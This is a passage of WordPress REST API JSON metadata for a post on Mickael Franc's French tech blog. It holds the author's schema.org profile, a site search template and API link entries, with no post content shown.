dev\/security\/adminsys","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.mickael-franc.fr\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Person","@id":"https:\/\/www.mickael-franc.fr\/blog\/#\/schema\/person\/9992f50dd21435e37ce7c0558f3f780c","name":"Mickael FRANC","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e377c37e9cedbf92988f5562dce48645a4edb37f86eb30a4abecb1ce11b3b4a7?s=96&d=retro&r=g","caption":"Mickael FRANC"},"description":"Software engineer @Cisco Lyon (FR) - Enthusiast about IT security (@OWASP) - Archlinux - Golang, Bash, Embedded &amp; dev system - Paragliding remaining time","sameAs":["https:\/\/www.mickael-franc.fr\/","mickael.fnc","https:\/\/x.com\/mickaelfranc","https:\/\/www.youtube.com\/channel\/UCWrM3BvHAkXTEMZvWmfoaAA"],"url":"https:\/\/www.mickael-franc.fr\/blog\/author\/mfranc\/"}]}},"_links":{"self":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/comments?post=171"}],"version-history":[{"count":10,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/171\/revisions"}],"predecessor-version":[{"id":256,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/posts\/171\/revisions\/256"}],"wp:attachment":[{"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/media?parent=171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/categories?post=171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mickael-franc.fr\/blog\/wp-json\/wp\/v2\/tags?post=171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}